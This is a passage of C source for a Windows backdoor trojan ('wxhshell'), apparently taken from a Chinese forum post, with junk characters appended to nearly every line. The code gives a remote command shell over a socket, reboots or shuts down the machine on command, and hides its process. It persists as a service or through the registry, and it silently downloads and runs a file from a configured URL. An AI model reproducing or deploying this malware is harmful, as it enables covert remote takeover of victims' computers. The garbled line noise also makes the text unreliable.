    switch(cmd[0]) { ~4P%%b0,o  
  K=!Bh*  
  // 帮助 fwK}/0%  
  case '?': { (b'B%rFO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [7_56\G4  
    break; bAKiq}xG%i  
  } Ig3;E+*>  
  // 安装 :qChMU|Y6  
  case 'i': { d*)CT?d&  
    if(Install()) nhIa175'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kJW N.  
    else #Z6'?p9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L?5Ck<!xG  
    break; hx/N1 x  
    } "4vy lHIo  
  // 卸载 Dfq(Iv  
  case 'r': { Hwo$tVa:=  
    if(Uninstall()) Y"OG@1V;8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GA7}K:LP'k  
    else Y0 D}g3`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ynA|}X  
    break; 5M9 I,  
    } oB74y  
  // 显示 wxhshell 所在路径 DjSbyXvrg  
  case 'p': { 'v]u#/7a  
    char svExeFile[MAX_PATH]; lA>DS#_  
    strcpy(svExeFile,"\n\r"); f!O{%ev  
      strcat(svExeFile,ExeFile); )(y) A[  
        send(wsh,svExeFile,strlen(svExeFile),0); pb#?l6x$+  
    break; r5!/[_l  
    } CHV*vU<N  
  // 重启 Q#nOJ(KV  
  case 'b': { JyR/1 W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R+&jD;U{  
    if(Boot(REBOOT)) !Hys3AP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x\Z'2?u}  
    else { 5) -~mW y  
    closesocket(wsh); pp7$J2s+j  
    ExitThread(0); 5]M>8ll  
    } i1S>yV^l  
    break; +3KEzo1=)  
    } uYE`"/h,1e  
  // 关机 z{Mr$%'EY  
  case 'd': { [o F|s-"9!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i hh/sPi  
    if(Boot(SHUTDOWN)) .BFYY13H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ok n(pJ0  
    else { 2Ry1b+\  
    closesocket(wsh); &3yD_P_3  
    ExitThread(0); %/9 EORdeH  
    } v@e~k-#  
    break; gUeuUj  
    } 'uq#ai[5I  
  // 获取shell 4.IU!.Uo  
  case 's': { Bdj%hyW  
    CmdShell(wsh); Y(44pA&oN  
    closesocket(wsh); x' .:&z  
    ExitThread(0); -!c"k}N=  
    break; M`ip~7"  
  } Yv:55+e!|  
  // 退出 y#XbJuN/  
  case 'x': { }#X8@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); It{;SKeo  
    CloseIt(wsh); [,TkFbDq"J  
    break; JwJ7=P=c  
    } PssMTEf  
  // 离开 7EXI6jGJ|  
  case 'q': { )c8j}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); otk}y8  
    closesocket(wsh); vap,y $C  
    WSACleanup(); }<dRj  
    exit(1); ~i`>adJ:  
    break; rL}YLR  
        } {#)0EzV6  
  } -YsLd 9^4  
  } Nj?/J47?,  
qu|B4?Y/CR  
  // 提示信息 .|/~op4;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f]`vRvbe  
} S{Er?0wm.R  
  } y~75r\"R  
W^G>cC8.L  
  return; s+Q~~]HJM  
} >Jp:O 7  
r3>i+i42  
// shell模块句柄 |^A;&//  
int CmdShell(SOCKET sock) .jj$Kh q]  
{ QR>gt;  
STARTUPINFO si; '3?\K3S4i  
ZeroMemory(&si,sizeof(si)); 6H'HxB4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; / z}~zO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q:5KZm[[  
PROCESS_INFORMATION ProcessInfo; Ox@sI:CT  
char cmdline[]="cmd"; 1bH;!J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D:Zy  
  return 0; vBog0KD);s  
} 3"O>&Q0c  
U4cY_p?  
// 自身启动模式 z@wMc EH  
int StartFromService(void) {c (!;U  
{ og0*Nt+  
typedef struct *W kIq>  
{ f"St&q>[s  
  DWORD ExitStatus; V =-WYu  
  DWORD PebBaseAddress; aJcf`<p   
  DWORD AffinityMask; 95z]9UL  
  DWORD BasePriority; Y*! qG  
  ULONG UniqueProcessId; 2z|*xS'G  
  ULONG InheritedFromUniqueProcessId; &o<F7U'R  
}   PROCESS_BASIC_INFORMATION; /r=tI)'$  
3mOtW%Hl  
PROCNTQSIP NtQueryInformationProcess; 3YZs+d.;ib  
pZeE61c/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k68F-e[i^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .B\5OI,]  
Pcw6!xH  
  HANDLE             hProcess; LGl2$#x  
  PROCESS_BASIC_INFORMATION pbi; (<)]sp2   
kS!viJwtT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LA`*_|}qcR  
  if(NULL == hInst ) return 0; ak;*W  
A]DTUdL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4)("v-p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !=N"vD*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fXcm|U,ho  
d20gf:@BM  
  if (!NtQueryInformationProcess) return 0; k70|'*Kh  
B` k\EL'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HB7;0yt`:  
  if(!hProcess) return 0; 1n@8Kv  
3}/&w\$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D#o}cC.  
2/0v B>  
  CloseHandle(hProcess); n-%s8aaVf  
~}+Hgi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o0pII )v  
if(hProcess==NULL) return 0; h}xeChw]  
; k)@DX  
HMODULE hMod; 3:C oZ  
char procName[255]; *Q,0W:~-  
unsigned long cbNeeded; z-b*D}&  
u07pq4Ly  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WoBo9aR  
=X.9,$Y  
  CloseHandle(hProcess); M6}3wM*4  
rW0FA  
if(strstr(procName,"services")) return 1; // 以服务启动 'UYR5Y>  
kbMYMx.[  
  return 0; // 注册表启动 $bsG]  
} ]X^rU`":  
t8dm)s[r8  
// 主模块 IqD_GL)Ms  
int StartWxhshell(LPSTR lpCmdLine) M-giR:,  
{ AqV7\gdOC  
  SOCKET wsl; v_nj$1dY6  
BOOL val=TRUE; V7Mh-]  
  int port=0; iySRY^  
  struct sockaddr_in door; >mjNmh7  
YxP@!U9dE,  
  if(wscfg.ws_autoins) Install(); <NuUW9+  
`YI f_a{  
port=atoi(lpCmdLine); u,w:SM@*(  
FG) $y[*  
if(port<=0) port=wscfg.ws_port; l@ap]R  
oD$J0{K6  
  WSADATA data; >`%'4<I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,Y>Bex_v  
7IjQi=#:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )-`;1ca)s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >J>b>SU=-  
  door.sin_family = AF_INET; f?'JAC*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wV ^V]c?U  
  door.sin_port = htons(port); m2v'WY5u  
|\g5+fv9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a! u rew#  
closesocket(wsl); Xt'sQ}  
return 1; ~R@Nd~L  
} )}_a 0bt  
NwZ@#D#[ Y  
  if(listen(wsl,2) == INVALID_SOCKET) { (bh95X  
closesocket(wsl); p f_mf.  
return 1; T.qNCJmB  
} npNB{J[  
  Wxhshell(wsl); /*c\qXA5  
  WSACleanup(); as>L[jyG/  
4X *>H  
return 0; HVC >9_:]  
PK4iuU`vh  
} ]TyisaT  
oun;rMq  
// 以NT服务方式启动 \R3H+W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 78/N   
{ P'O#I}Dmw<  
DWORD   status = 0; W[^qa5W<FB  
  DWORD   specificError = 0xfffffff; C|?o*fQ  
{U_$&f9s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C(K; zo*S(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m ]cHF.:5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;JRs?1<='  
  serviceStatus.dwWin32ExitCode     = 0; q.()z(M 7  
  serviceStatus.dwServiceSpecificExitCode = 0; vVgg0Y2  
  serviceStatus.dwCheckPoint       = 0; e@ \p0(  
  serviceStatus.dwWaitHint       = 0; QurW/a  
Jzp#bgq}|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nq@+'<@p$  
  if (hServiceStatusHandle==0) return; ~O1&@xX  
NZ3/5%We/  
status = GetLastError(); kGN+rHo   
  if (status!=NO_ERROR) "&%#!2  
{ E]6z8juO6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !0dNQ[$82  
    serviceStatus.dwCheckPoint       = 0; A+UU~?3y  
    serviceStatus.dwWaitHint       = 0; ?K3(D;5 &i  
    serviceStatus.dwWin32ExitCode     = status; ^'ryNa;"  
    serviceStatus.dwServiceSpecificExitCode = specificError; zrU{@z$l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Usta0Ag  
    return; uZ=NSbYsA  
  }  *tAg*$  
gc?#pP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3dDX8M?  
  serviceStatus.dwCheckPoint       = 0; kn/Ao}J74z  
  serviceStatus.dwWaitHint       = 0; ~wVd$%7`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9,^_<O@Q  
} Y!T %cTK)a  
MX ;J5(Ae  
// 处理NT服务事件,比如:启动、停止 FEJ~k1z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S*sT] J`!  
{ !Lh^oPT"I  
switch(fdwControl) E.U_W  
{ XyOl:>%L!P  
case SERVICE_CONTROL_STOP: ]7rj/l$ u  
  serviceStatus.dwWin32ExitCode = 0; 8zBWIi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3ux0 Jr2yT  
  serviceStatus.dwCheckPoint   = 0; :hI@AA>g  
  serviceStatus.dwWaitHint     = 0; .YZgOJi  
  { _Dwqy(   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ykFJ%sw3X  
  } yZWoN&  
  return; 1u|Rl:Q  
case SERVICE_CONTROL_PAUSE: ZZyDG9a>7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j6g[N4xr  
  break; xrN &N_K#  
case SERVICE_CONTROL_CONTINUE: # (- Qx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %~QO8q_7  
  break; LbII?N8`N  
case SERVICE_CONTROL_INTERROGATE: |qoKO:B4-[  
  break; $\? yAE  
}; f +hjC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Y#\xzod  
} DU=dLE6-P;  
Tc+gdo>G  
// 标准应用程序主函数 dqX;#H}h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -!\fpl{  
{ 7^Yk`Z?|a  
h?$T!D>  
// 获取操作系统版本 3<=G?of  
OsIsNt=GetOsVer(); /By)"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mB0l "# F  
1U,1)<z~u  
  // 从命令行安装 QL$S4 J"  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9Mgq1Z  
d|iy#hy"_  
  // 下载执行文件 Q*XE h  
if(wscfg.ws_downexe) { q}FVzahv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aBzszp]l+  
  WinExec(wscfg.ws_filenam,SW_HIDE); @+WQ ^  
} e hA;i.n  
42\-~]  
if(!OsIsNt) { Nlj^D m  
// 如果时win9x,隐藏进程并且设置为注册表启动 q SejLh6  
HideProc(); /N-_FMl?  
StartWxhshell(lpCmdLine); ,Hgc-7g@Y  
} $ F S_E  
else )=DGdI Et  
  if(StartFromService()) Z,X'-7YkU  
  // 以服务方式启动 (S^8UV  
  StartServiceCtrlDispatcher(DispatchTable); Ou>vX[{  
else )}L??|#  
  // 普通方式启动 BJS-Jy$-  
  StartWxhshell(lpCmdLine); ~j'l.gQb  
"p3_y`h6+  
return 0; 9TAj) {U%'  
}
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只看该作者 1 发表于: 2006-10-10
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